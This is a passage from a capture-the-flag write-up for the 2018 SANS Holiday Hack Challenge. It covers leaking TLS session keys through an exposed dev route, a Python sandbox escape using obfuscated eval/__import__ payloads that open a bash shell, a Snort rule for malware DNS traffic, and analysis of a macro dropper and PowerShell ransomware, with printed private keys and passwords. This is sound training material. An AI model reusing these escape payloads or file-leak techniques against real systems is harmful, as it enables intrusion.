Cookies (highlighted in yellow in Figure ## and Figure ##). Again we review the source code in raw HTML to look for
hidden comments, and paths on the site. We find paths to /register as well as /pub/js and /pub/css/ and /pub/img/.
There are no useful comments left over in the default web page, however we do see the form values of username and
password which are used to pass a username and password when login_button is clicked.
Side Note: If we want to use a proxy to see and manipulate web page data, we found that the following helps with
programs such as Burp and ZAP which don’t natively support HTTP/2 and this is an HTTP/2 server. Otherwise these
programs return
This required a workaround with nghttp2 as reverse proxy to packetlyzer site. From a Mac system with brew
installed
$ host packalyzer.kringlecastle.com
packalyzer.kringlecastle.com has address 35.190.187.47
127.0.0.1 packalyzer.kringlecastle.com
40
Figure 45. Objective Eight site https://packalyzer.kringlecastle.com with Chrome developer tools open.
Figure 46. https://packalyzer.kringlecastle.com files and javascript scripts in Chrome developer tools.
Clicking Register takes us to /register. Reviewing this and our interesting javascript script custom.js we see a login()
function which posts to /api/login as well as a String.prototype.hexEncode and String.prototype.hexDecode function.
These two functions are likely applicable to how logins are processed (converting values to hex) but don’t necessarily
help us. Reviewing the code for the registration page we see a function check_user_or_email(elem) which shows that
password lengths have to be greater than 4 and that usernames can only hold certain values; all pretty typical validation
stuff
function check_user_or_email(elem) {
astring = $(elem).val().trim();
elem_id = elem.id
if (astring.length > 4 &&
((astring.match(/^[a-zA-Z][a-zA-Z_]+[a-zA-Z]$/gi) != null && elem_id ===
'username') ||
(astring.match(/^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@(
(\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z
]{2,}))$/gi) != null && elem_id === 'email') ) ) {
$.post( "/api/users",{'user_or_email':astring}).done(function(
41
result ) {
Let’s try to register and login. Registration works as long as username is greater than four characters and password is
greater than four characters. This succeeds and we’re looking at an analyze control panel, with an Account, Captures,
and Logout feature (Figure 42). We can Analyze PCAP with an upload, or Sniff Traffic for 20 seconds here.
Figure 47. Packalyzer Control panel options after logging into the site.
Under the Account panel, there are four values. These include Account Name, Email, Is Admin?, and User ID values. It
would be pretty sweet to get that Is Admin? value set to true, but our mission is to access and decrypt HTTP/2 traffic;
ideally traffic with information from Alabaster and/or Holly Evergreen. Whenever I click the Sniff Traffic button, I see a
capture in the “Captures” area and details about the traffic on the site. The traffic shows communications from IPs
including 10.126.0.3, 10.126.0.104, 10.126.0.105, and 10.126.0.106 between these three later ones and 10.126.0.3
which is using encryption. This must be the decrypt part of the exercise. Let’s analyze the source code of our site for
anything interesting.
One comment sticks out under a function to process file uploads at line 363 and line 394 pointing to app.js
Let’s try to see what’s in that by browsing to it at https://packalyzer.kringlecastle.com/app.js, nope. What about
https://packalyzer.kringlecastle.com/pub/js/app.js nope. How about https://packalyzer.kringlecastle.com/pub/app.js ?
This pulls up a page which appears to be a Node.js page as the first comment is
#!/usr/bin/node
This Node.js script has a lot of valuable information in it, including constants, directory names, and developer notes
about a dev mode (Figure 43. Figure 44. Figure 45.).
42
Figure 48. Notepad++ copy with line numbers of https://packalyzer.kringlecastle.com/pub/app.js.
Figure 50. Notepad++ developer comments about usage of environmental variables https://packalyzer.kringlecastle.com/pub/app.js
43
Figure 51. Notepad++ developer comments of https://packalyzer.kringlecastle.com/pub/app.js
These lines are probably a mistake, as dev_mode is set to true, always. Line 27 will set a constant key_log_path if we’re
not in dev mode (!dev_mode ||), which we are, or when this script is provided a __dirname and SSLKEYLOGFILE
environmental variable.
86-91: if (dev_mode) {
//Can set env variable to open up directories during dev
const env_dirs = load_envs();
} else {
const env_dirs = ['/pub/','/uploads/'];
}
Here we see the paths to keys to decrypt traffic, and that only HTTP2 is allowed. Lines 86-91 allows us to see how
environmental variables are managed. Below we see how the script loads the strings.
function load_envs() {
var dirs = []
var env_keys = Object.keys(process.env)
44
for (var i=0; i < env_keys.length; i++) {
if (typeof process.env[env_keys[i]] === "string" ) {
dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
}
}
return uniqueArray(dirs)
While we don't know all the environment variables, we can probably expect some of the standards (USER, HOME, PATH,
etc.) and we do see a couple that are likely to be set, since they were used earlier in the code... in fact, used as part of
the keylog option..
45
This code does a few things, very notably, it sets routing for GET requests based on env_dirs (and thus with dev_mode
enabled, the environment variables). It also does some request path parsing, splitting on “/” to separate the first part
(stored in dir) from the rest of the path (stored in filename), it also filters filename to remove '..' to prevent path
traversal attacks. Next in lines 177 and 178, it attempts to load and return the contents of a file in one of the apps
subdirectories, the filepath coming from the value of the environment variable set in dir with the path from filename
added.
If the file doesn't exist, the catch clause will be invoked, where the full error message is returned as the response (line
184). The message is quite informative... if the filepath points to a directory instead of a file, the error message tells us...
and if we attempt to open a file that doesn't exist, the error message will tell us the full path that was attempted.
and https://packalyzer.kringlecastle.com/pub/index.htm
Error: ENOENT: no such file or directory, open '/opt/http2/pub//index.htm'
So, part of our HTTP request is used to specify an environment variable to lookup that is used as part of the
filepath... and the error message can reveal the path to us in the response... let's try it out on those TLS
session key related variables...
https://packalyzer.kringlecastle.com/dev/
Error: EISDIR: illegal operation on a directory, read
https://packalyzer.kringlecastle.com/dev/foo
Error: ENOENT: no such file or directory, open '/opt/http2/dev//foo'
https://packalyzer.kringlecastle.com/sslkeylogfile/
Error: ENOENT: no such file or directory, open
'/opt/http2packalyzer_clientrandom_ssl.log/'
Ahh.. based on the server-side code, and response to those requests we can derive a few things…
__dirname is set to /opt/http2
DEV environment variable is set to dev
the directory /opt/http2/dev/ does exist
the SSLKEYLOGFILE environment variable is set to http2packalyzer_clientrandom_ssl.log
Now let’s look back at the line that used those variables when setting up the keylog option
So the path to the keylog file is based on the DEV environment variable, so there is a route for it and the ability to load
files underneath it thanks to lines 164 - 186. We just need to add the value of the SSLKEYLOGFILE variable.. which we
thankfully know due to the response to the last request for https://packalyzer.kringlecastle.com/sslkeylogfile/
46
At this point, we have a path to keys , a way to get the unique client keys, know how they’re managed and know a way
to decrypt using Wireshark and applying the keys based on this talk from Chris Davis https://youtu.be/YHOnxlQ6zec.
One gotcha for this was that when we click the SNIFF button in Packalyzer, then download keys, sometimes they weren’t
correct. We had to refresh the URL (https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log) a few
times in order to get the correct keys in order to properly decrypt anything in Wireshark as shown in the talk...here’s
how that was done:
In Wireshark, open the .pcap file downloaded from Packalyzer. Then after saving the ssl.log file from URL a few times
and removing duplicates we use it to decrypt by performing these steps in Wireshark:
Wireshark -> Preferences -> Protocols -> SSL -> (Pre)-Master-Secret log filename
Now we can use the filters shared in the talk to decrypt encrypted traffic and hopefully find our song. Useful wireshark
filters from the talk include:
http2
http2.headers.method == "GET"
http2.headers.path == "/pub/css/styles.css"
http2.headers.set_cookie
http2.data.data
http2.data.data && http2 contains username
json.key == "username"
Combing through the decrypted data with the filter http2.data.data we see some JSON objects, and when expanded
they show usernames and passwords (Figure 47).
47
Figure 52. Wireshark packet captures (pcaps) unencrypted using file from dev/packalyzer_clientrandom_ssl.log
Here, after expanding the application/json data we can see username of bushy and password
Floppity_Floopy-flab19283. We’re looking for Holly and Alabaster, so we dig through the rest of the application/json
data packets (we can use the filter, json.key == "username", to show only the login attempt packets).
Eventually we find Alabaster’s username alabaster and password Packer-p@re-turntable192
Let’s login to his account and see if there’s any interesting captures that may hold the information we seek. The login
succeeds, and in his capture we see
Figure 53. Packet capture found in Capture panel for Alabaster’s account.
Downloading this shows some TCP traffic and SMTP traffic which is not encrypted. If we click on a packet, then
right-click and select “Follow TCP Stream” we’re presented with an email conversation with an attachment (Figure 49).
We need to reassemble that attachment to see what it is, as it may hold our answer based on the email text.
48
Figure 54. Wireshark packet capture details from tcp stream in super_secret_packet_capture.pcap.
------=_MIME_BOUNDARY_000_11181
Content-Type: application/octet-stream
Content-Transfer-Encoding: BASE64
Content-Disposition: attachment and
In the PDF we eventually find the following at the bottom of page 2 of the PDF (Figure 50). The answer to the objective
is Mary Had a Little Lamb
49
Figure 55. Screenshot of the PDF challenge answer from Alabaster’s pcap MIME attachment extracted and decoded and opened in PDF viewer.
I think, given my experience in Python, which is weak by the way, we may be just stuck in an interpreter shell. So let’s
find out by logging in and see what the terminal shows (Figure 51).
Sure as elves are short, that there is a Python Interpreter prompt! Typing quit() should get us outta here. But oh
snappity my elven g-string..when we try this it just hangs the terminal. Now we see why Sugarplum was as frazzled as
her figgy puddin’. The exit() call doesn’t work either. Doh. We can’t import with a traditional import sys to then call
sys.exit(). What if we use those tricks learned from a SANS HHC talk https://www.youtube.com/watch?v=ZVx2Sxl3B9c?
There seems to be a correlation. Let’s try to set a variable and run an eval on it
which doesn’t work…what about calling import as function; though frowned upon in general,
mysys = eval('__impor'+'t__("os")')
which works, so now we can try to run a shell using the os.system(“command”), or in our case
50
mysys.system("/bin/bash")
Now we can run ./i_escaped and we’re out, well, technically we’re in a shell running in the python process, but
whatevs…we can do shell stuffs now.
Figure 57. Python Escape from LA success message shown after running i_escaped
Alternative methods to escaping Python and directly running the i_escaped program:
>>>eval("o"+"s.sys"+"tem('./i_escaped')")
>>> d = eval("__imp"+"or"+"t__('os')")
>>> d.system("./i_escaped")
>>>eval("__impo"+"rt__('os').sy"+"stem('./i_escaped')")
With our challenge complete for Sparkle, she/he/it now dishes the goods/hints:
Objective nine has four sub-challenges and is available in Santa’s Secret Room (Figure 53). It appears there is malware
infecting Santa’s server, and we need to build a snort filter to catch it, identify the malicious domain, find out how to
stop it, and recover Alabaster’s password.
Assist Alabaster by building a Snort filter to identify the malware plaguing Santa's Castle.
Clicking on the Snort Challenge shows us (Figure 54). We have to configure an open source Intrusion Detection System
(IDS) to alert only on bad ransomware traffic then add that rule to /etc/snort/rules/local.rules. We can review a log of
DNS traffic in a snort.log.pcap file which is apparently consistently updated. In the local directory we see two files, and a
directory.
52
drwxr-xr-x 1 root root 4096 Dec 14 16:19 ..
-rw-r--r-- 1 elf elf 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 elf elf 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 elf elf 655 May 16 2017 .profile
-rw-r--r-- 1 root root 965 Dec 14 16:13 more_info.txt
-rw-r--r-- 1 root root 88165 Jan 11 19:28 snort.log.pcap
drwxr-xr-x 1 elf elf 4096 Dec 14 16:19 snort_logs
If we review the more_info.txt file it tells us about the DNS capture, how to test a snort rule, and provides a website to
access the last five minutes of pcaps at http://snortsensor1.kringlecastle.com using elf/onashelf as username and
password. It then provides a critical hint about dynamic domain names (DNS) and IPs and how malware authors use
these to prevent being captured and suggests using patterns to analyze traffic.
http://snortsensor1.kringlecastle.com/
53
Using the credentials:
----------------------
Username | elf
Password | onashelf
HINT:
Malware authors often user dynamic domain names and IP addresses that change frequently within minutes or
even seconds to make detecting and block malware more difficult. As such, it's a good idea to analyze traffic
to find patterns and match upon these patterns instead of just IP/domains.
The first thing we want to do is look at those pcap files, so we login to the website provided, and we five pcap files. We
save these to our computer. We then merge these pcap files together (can use Wireshark or other tools). Then we
export the entire merged pcap to a csv file via WireShark. Now we open it up in Excel/Google Doc/whatever, and can
see the data in this format:
Doing this, we can quickly copy that G column and paste it into something like https://regexr.com/ to create a regular
expression to capture the suspicious looking DNS names; however we notice that there is a pattern in the value of the
DNS names. The suspicious ones are the ones which have two numbers, a period, followed by another series of
numbers, and then some garbage domain name consisting of (usually) ten characters and a top level domain (e.g. .com,
.jp, .ru, .co.jp). Now that last part isn’t consistent, there are domains which do not have ten characters. These may be
another form of communication but we see that a regular expression created from the https://regexr.com/ can capture
all of the random number domain names.
/( \d+\..+\.)\w+/g
This regular expression translates to match text with a white space, some numbers, a period, any number of characters,
followed by another period in the log. However, I soon discovered there was a common static string in the domain
names of 77616E6E61636F6F6B69652E6D696E2E707331 so creating a rule to detect client queries with that string to
54
outbound servers and servers responding with that string inbound flagged all the malware. Writing these rules to
/etc/snort/rules/local.rules (Figure ##) generates the appropriate alerts.
As our astute team member Jevan points out, there is certainly a more appropriate snort command to detect this traffic.
Afterall, regular expressions are powerful, but they’re resource intensive compared to other options. After a quick RTFM
(Reading The FUN Manual) for writing rules atl
http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node28.html I quickly see another rule we can create.
This rule will look at the content of DNS/53 udp data payloads in packets and alert on matches our string from our
network to outside networks, and also from external systems to our network.
alert udp $EXTERNAL_NET 53 -> $HOME_NET any ( msg:"Malware string detected in DNS
queries"; flow:from_server;content:"77616E6E61636F6F6B69652E6D696E2E707331";
sid:1000002; rev:1; )
Using any of these rules will identify the malware and presents the answer to Objective Nine (Figure 56).
Figure 62. Success message shown when snort rules alert on all malware traffic.
55
Alabaster now has a request for us and provides a word document and password to decrypt the zip file:
Thank you so much! Snort IDS is alerting on each new ransomware infection in our network.
Hey, you're pretty good at this security stuff. Could you help me further with what I suspect is a malicious Word
document?
All the elves were emailed a cookie recipe right before all the infections. Take this document with a password of
elves a nd find the domain it communicates with.
Let’s check out some of the other TXT queries and answers.
Focusing on the traffic to/from a specific infected host (e.g. 10.126.0.111), we see that the first TXT answer is 64. There
are then 64 subsequent TXT queries that follow the [Digit].[hex characters] format, with the digit values going from 0 to
63. Each response contains some unique hex characters in the answer section.
We can use tshark and xxd to extract and convert those responses like so:
● Tells tshark to only show data from the responses to the 64 [Digit].[hex characters] format queries for that single
host
-T fields -e dns.txt
Looking at the output we can see it is some PowerShell code. Adding new lines after each semicolon, and running the
code through a Beautifier like https://github.com/DTW-DanWard/PowerShell-Beautifier, we can get the more readable
version show in the Appendix.
This code is the malware (wannacookie.min.ps1 it seems) that the infected docm Alabaster gives us which ends up
downloading and executing. The code defines various utility functions before creating a function named `wanc` that
appears to perform the main functionality of encrypting or decrypting (after retrieving some data via DNS queries) our
*.elfdb files. Finally, on the last line, the script calls the `wanc` function to kick off the main functionality.
We don’t need the `wanc` function, and we definitely don’t want to run the final line that invokes `wanc`. But otherwise,
we can load up the utility functions and start playing with the code ourselves in Powershell.
Note: While we are going to be cautious when manually running the code, we always need to be mindful when working
with unfamiliar code (especially from suspected malware), and will be running in a disposable, scratch, virtual machine.
56
The malware retrieves data over DNS various times. In fact, we see the g_o_dns() utility function that implements the
scheme we saw in the snort DNS traffic (and in the second stage powershell script); Where longer content is
downloaded over multiple DNS queries; with the response to the first query being the number of subsequent queries
needed for the content (e.g. the query for 77616E6E61636F6F6B69652E6D696E2E707331 [aka wannacookie.min.ps1],
and then the queries for 0.77616E6E61636F6F6B69652E6D696E2E707331 through
63.77616E6E61636F6F6B69652E6D696E2E707331).
In the `wanc` function, we can see the code sets the variable $S1 to a hex string, before using $S1 as part of a DNS
query. The function exits early if the DNS query returns a non-null value. This seems like this might be the kill-switch
domain we’re looking for.
The value of $S1 isn’t used directly in the query, and it isn’t a simple ascii to hex encoding either. Instead it is a much
more complex process using binary, gzip, and hex transcoding, and even an bitwise XOR operation with the result of the
response to another DNS TXT query (of 6B696C6C737769746368.erohetfanu.com).
Since we’ve loaded the various utility functions into our Powershell session, we can use the malware’s own code to
determine what value is being passed to the `-Name` argument for the DNS query by running the follow snippet
extracted from the malware:
The wanc function downloads the certificate with the public key used for encryption using the g_o_dns() function with
the value 7365727665722E637274, which is “server.crt” in ASCII. We can run a modified version of the line like below to
save a copy of the certificate:
We can then look at the certificate in a human readable format with openssl:
This definitely is interesting, but, based on the next objective, it seems we might be getting a bit ahead of ourselves…
Let’s table this analysis for now and move on.
For this part of the challenge we have to use a word document from Alabaster at
https://www.holidayhackchallenge.com/2018/challenges/CHOCOLATE_CHIP_COOKIE_RECIPE.zip and identify the
malware domain. We’ve already done this by analyzing the snort data and the wannacookie.min.ps1 script, however,
this exercise will confirm the document as the entry point for the malware.
Note: If using Windows 10, the document may be flagged as a virus and it won’t let you work with it. Use an alternate
system or disable your virus protection at your own risk.
57
There are some pretty good tools to do forensics on documents with malicious payloads. This tactic is a common one
for attackers to infect systems by embedding exploits, macros, or scripts in PDF documents, word documents, and other
types of commonly exchanged documents. It’s common, because it bypasses firewalls because the malicious scripts
often point to external web pages and pull the malware into the computer/network after documents are open and the
macros or scripts in them are run. Firewalls typically allow outbound web traffic, and websites are commonly the source
for the scripts in documents.
Analyzing the document after extraction with the password Alabaster gave (it’s elves) we can use the file command to
identify the specific type of document (although in this case it’s fairly obvious, and Alabaster told us it was a word
document):
# file CHOCOLATE_CHIP_COOKIE_RECIPE.docm
Like, wow, Microsoft Word 2007...who uses that anymore? That’s kind odd, but let’s continue our pre-analysis before
we actually crack open this file.
We can then use a program called exiftool to pull metadata about the Word document. One thing sticks out during the
exiftool data dump, the MIME Type is set to macroEnabled which tells me this has some type of macro. Also the
malware author left a name of “Chris” as the document owner in the document metadata.
# exiftool CHOCOLATE_CHIP_COOKIE_RECIPE.docm
ExifTool Version Number : 11.16
File Name : CHOCOLATE_CHIP_COOKIE_RECIPE.docm
Directory : .
File Size : 111 kB
File Modification Date/Time : 2018:12:17 09:46:28-08:00
File Access Date/Time : 2019:01:12 19:06:49-08:00
File Inode Change Date/Time : 2019:01:11 13:44:06-08:00
File Permissions : rw-r--r--
File Type : DOCM
File Type Extension : docm
MIME Type :
application/vnd.ms-word.document.macroEnabled
Executing exiftool -ee against the file gives us information about embedded files and we can see a binary embedded
inside the Microsoft Word document
A cool fact about Microsoft Office documents after Office 2007 is that they are really a zip file, that’s why we see that
Zip next to the vbaProject.bin (which is the default name used by MS Office scripts). We can actually unzip Office
Documents in the same way we unzip a zip file and look at all the contents. So that’s what we do
7z e CHOCOLATE_CHIP_COOKIE_RECIPE.docm
58
Figure 63. Extracted suspicious document and document contents.
vbaProject.bin was under the word/ folder. Navigating there we can run a POSIX utility called strings against the binary
to see if there are any useful strings inside of it..here we use the -n 10 options to give us only strings longer than 10
characters to avoid small and potentially less interesting strings.
This line sticks out because it’s calling Powershell. This line is executing a powershell script, then reading an obfuscated
string…..that looks like a good target for analysis.
Alternatively, we could use tool olevba, https://github.com/decalage2/oletools/wiki/olevba, on the docm file to extract
the VBA macro. There we can see that the code above appears twice, both in the Document_Open() and AutoOpen()
subroutines.
59
Figure 64. VBA macro extracted using olevba tool from suspicious word document.
At this point, understanding what iex is doing is critical, and Chris Davis’ talk h
ttps://youtu.be/wd12XRq2DNk discusses
how to analyze this by removing the iex function which evaluates the string and invokes another instance of powershell.
Converting the string instead and sending output to another file/Powershell script gives us another powershell script
The powershell script creates a script which we see performing some DNS resolution and then outputs yet another
script.
Figure 65. Malware Dropper code from suspicious document shown in Windows PowerShell ISE.
60
This final script, which is source.ps1 in our screenshot is the actual malware encryption/decryption/communication
program.
So we find our DNS name resolved by this script as well pointing to the domain erohetfanu.com and giving us the
answer to Objective/Question ten. If we drop the Out-string at the end and add another Out-File source.ps1 we can
look at what this string creates/does.
Alabaster says
Erohetfanu.com, I wonder what that means? Unfortunately, Snort alerts show multiple domains, so blocking that one
won't be effective.
I remember another ransomware in recent history had a killswitch domain that, when registered, would prevent any
further infections.
Perhaps there is a mechanism like that in this ransomware? Do some more analysis and see if you can find a fatal
flaw and activate it!
Alabaster is recalling a massively successful malware named Wannacry which had code, or a kill switch, which required
activation of a weird domain that when reached by the malware prevented encrypting files. This was discovered by a
researcher who went by MalwareTech (aka Marcus Hutchins) in 2017. For more information about Wannacry and the
kill switch see https://www.wired.com/2017/05/accidental-kill-switch-slowed-fridays-massive-ransomware-attack.
If we register a domain that is checked for when the malware first runs then we can effectively stop/kill the
malware. We already identified a line which stops the wanc function from encrypting content during our malware
analysis. We need to register the domain to stop the malware, which can be done via HoHoHo Daddy in Santa’s Secret
room.
During the analysis in Objective Nine we noted that within the `wanc` function, we can see code that sets the variable
$S1 to a hex string before using $S1 as part of a DNS query. The function exits early if the DNS query returns a non-null
value. This seems like this might be the kill-switch domain we’re looking for to stop the malware.
The value of $S1 isn’t used directly in the query, and it isn’t a simple ascii to hex encoding either. Instead it is a much
more complex process using binary, gzip, and hex transcoding, and even an bitwise XOR operation with the result of the
response to another DNS TXT query (of 6B696C6C737769746368.erohetfanu.com).
Since we’ve loaded the various utility functions into our Powershell session, we can use the malware’s own code to
determine what value is being passed to the `-Name` argument for the DNS query by running the follow snippet
extracted from the malware:
yippeekiyaa.aaay
61
Let’s try registering that domain in HoHoHo Daddy:
Figure 66. HoHoHo Daddy with malware kill switch domain on registration page.
Figure 67. Successful domain registration on HoHoHo Daddy of malware kill switch.
62
Objective Twelve - Ransomware Recovery - Recover Alabaster’s Password
After activating the kill-switch domain in the last question, Alabaster gives you a zip file with a memory dump and
encrypted password database. Use these files to decrypt Alabaster's password database. What is the password entered
in the database for the Vault entry? Recover Alabaster’s password as found in the encrypted password vault.
So we now need to take a memory dump and the encrypted password database provided by Alabaster and
discover what the password is to open it. Extracting the zip file provides us with the two files to work with here:
alabaster_passwords.elfdb.wannacookie
powershell.exe_181109_104716.dmp
Alabaster mentioned a program called PowerDump which can pull strings from a memory dump at
https://github.com/chrisjd20/power_dump. We can load this up and then use it to see what interesting strings are in
Alabaster’s memory dump.
From analysing the malware code, we can see that the author has cleared the variables that store the encryption key
after the encryption is complete, so we aren't likely to find those in our memory dump. Though the encryption key was
also itself encrypted and stored in a variable while being sent to the server, and that variable, $p_k_e_k, isn’t cleared.
Let’s see if we can find that encrypted encryption key from our memory dump. We can run the code that sets the
variables to see what type of value and length they end up being…
PS C:\hhc> $p_k_e_k
4fd94a55c733125a05883425b01b5662683d345d6378e8f210d999cc615e5a4f1caa5a253c12a58079e96f466a5b1c8c1a8
6be2a269adfdc43c76098c0f7c17f268548bdf75e718d2d2428e20a85f52532a6430842
722008aebca90638f5de06deba4d5db2173918b4bb4faae1590b182808ed33abf9df1e2c2ca858271a740067a1a128a8ce4
7fdb62b23d732b27b8611e1846d7b2d3adea49fe285438479cf34b8c7e982480152b329
9516a5c424971972e8289b3cce47518500b0b095c3083c846396f457bc226f2e69bc6e916999488d4405b592e44e2dc63a
4468db6d4b94d31c6b9fb98fdd396f5e8ec296e2c61a3e700c4132fa071148df1272ea18e1
PS C:\hhc>$p_k_e_k.Length
512
Cloning the git repository on our Linux system we start up PowerDump and load the memory dump. Now we process
the PowerShell Memory Dump File and search through it for any variables of interest
Figure 68. PowerDump prompt showing loaded and processed PowerShell script from Alabasters memory dump.
Now we add a few filters which narrow down the possible encryption keys by adding
matches "^[a-z0-9]+$"
63
and
len == 512
The client encryption key was encrypted with a public key before being sent, so even after we get a copy from a
memory dump or network capture, we will still need the private key to decrypt the variable to get the key used to
encrypt the files. Maybe there’s a way to get the key from the server?
While we were analyzing the malware earlier with the copy we extracted from the snort pcaps, we saw how the
malware downloads the certificate with the public key over DNS with a call to the g_o_dns function:
g_o_dns ("7365727665722E637274")
7365727665722E637274 is the hex encoding for server.crt, maybe we should try and grab the private key over DNS as
well?
We can run the malware’s functions to try and grab the server’s private key via PowerShell with functions we loaded
from our wannacookie.min.ps1 example script (made safe so it doesn’t encrypt anything).
64
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
-----END PRIVATE KEY-----
Above is PEM (Privacy Enhanced Mail, a Base64 encoded DER certificate) encoded RSA private key. If we want to use it
with Windows based tools, we probably need to convert it to DER or PFX…
OR
We can verify that the private key corresponds to the public key in server.crt by ensuring each has the same modulus.
We can view each modulus with the following openssl commands:
$ openssl x509 -inform der -in server.crt -noout -text | sed -n '/[Mm]odulus:/,/[0-9a-z]$/p'
Modulus:
00:c4:88:dc:d9:55:46:d7:09:b3:06:2f:8b:0c:d9:
4b:62:95:1e:2c:78:46:65:8b:60:8c:a0:32:7b:de:
a1:ea:97:eb:52:a7:0b:4a:f7:2e:0b:eb:39:cb:0c:
b5:92:03:ab:af:1f:e9:66:1e:18:5e:a7:db:a2:5b:
7b:ef:1d:80:aa:f8:c6:b9:12:58:c1:ae:fc:10:cb:
47:b6:0a:bf:ea:78:d0:6b:74:cb:50:b3:d2:a4:c4:
c2:40:cf:47:d1:25:85:ef:b5:60:0d:14:91:79:03:
e3:6a:8c:8f:a3:74:c5:6d:2f:cf:8f:54:e1:96:a7:
53:c0:f0:34:96:ee:2f:bd:78:b9:2a:3d:b3:43:c4:
27:c5:84:01:86:94:71:14:f9:c1:f4:09:3a:1b:d1:
20:79:1e:4d:12:4c:f5:0a:28:95:5c:dd:fb:03:f3:
fb:7a:d3:22:53:84:2c:38:18:a9:11:c0:6f:2f:a9:
c4:02:80:01:95:41:e2:cd:60:93:04:16:fd:3e:58:
70:2d:d9:6c:63:59:3b:b7:1e:70:1f:30:fb:22:12:
79:3f:cb:5d:92:c0:73:82:b5:a3:63:15:1f:06:b7:
9d:76:0f:b8:9d:15:55:b8:a7:9b:13:d2:6a:eb:32:
26:09:fb:bc:7a:55:e3:08:92:bc:38:b6:4f:f5:66:
65
56:0d
Now that we have the corresponding private key, we can try and use it to decrypt the ciphertext we extracted from the
memory dump and hopefully get back the key used to encrypt the files.
Looking back at the output of our search through the memory dump (Figure 69). We found the 512 character variable
that should be the hex encoded version of the encryption key encrypted with the public key from server.crt. Let’s export
a binary copy of the value represented in that variable…
$a_p_k_e_k =
'3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7
a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147
abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be440
29ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678e
a16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a7715256
3906a2c29c6d12f971'
# Write out as hex (can then use `xxd -r -p encrypted.key.hex encrypted.key` to convert to binary)
$a_p_k_e_k | Out-File encrypted.key.hex
Then using openssl we can try to decrypt… Our first attempt fails with a padding error…
66
We know we have a proper public/private key pair, and there was only one candidate variable when we searched with
power_dump.py, so perhaps we should try some different padding options before giving up with this set of keys/cipher
text…
We can get the (still padded) decrypted message by using openssl with the `-raw` parameter. Then we can see the first
byte is 0x00 and likely from the padding.. but whatever the scheme, it isn’t especially easy to pull out the non-padded
text by-hand.
Just trying the options that openssl supports, we seem to have success when we add the `-oaep` parameter to our
openssl command. This is specifying, PKCS#1 OAEP, and appears successful, as we no longer get an error message, and
end up with a 16 byte decrypted.key file.
$ openssl rsautl -decrypt -inkey server.key -in encrypted.key -out decrypted.key -oaep
$ wc -c decrypted.key
16 decrypted.key
Rather than trial and error, we can look at the Powershell code and find the relevant documentation to find what
padding option was used…
$encKey = $cert.PublicKey.Key.Encrypt($key_bytes,$true);
The code passes True for the second parameter to the Encrypt method, which according to the documentation means it
will be using OAEP padding.
Armed with the symmetric encryption key, we can try and decrypt Alabaster’s alabaster_passwords.elfdb.wannacookie
file.
Rather than write our own decryption code, we’ll try and reuse the malware’s functions. Though we will have to add
some code to load in the encryption key we just decrypted, and to kickoff the decryption function on the proper file.
# Load any encrypted (*.wannacookie) files found under the user profile directory
# (namely alabaster_passwords.elfdb.wannacookie)
[array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie |
Where-Object { !$_.PSIsContainer } | ForEach-Object { $_.FullName });
When it’s done running, we should see that alabaster_passwords.elfdb.wannacookie is now gone, and instead we have
the encrypted version in alabaster_passwords.elfdb
67
Now lets see what we can find in alabaster_passwords.elfdb…
$ file alabaster_passwords.elfdb
alabaster_passwords.elfdb: SQLite 3.x database, last written using SQLite version 3015002
$ sqlite3 alabaster_passwords.elfdb
SQLite version 3.19.3 2017-06-27 16:48:08
Enter ".help" for usage hints.
sqlite> .tables
passwords
sqlite> select * from passwords;
alabaster.snowball|CookiesR0cK!2!#|active directory
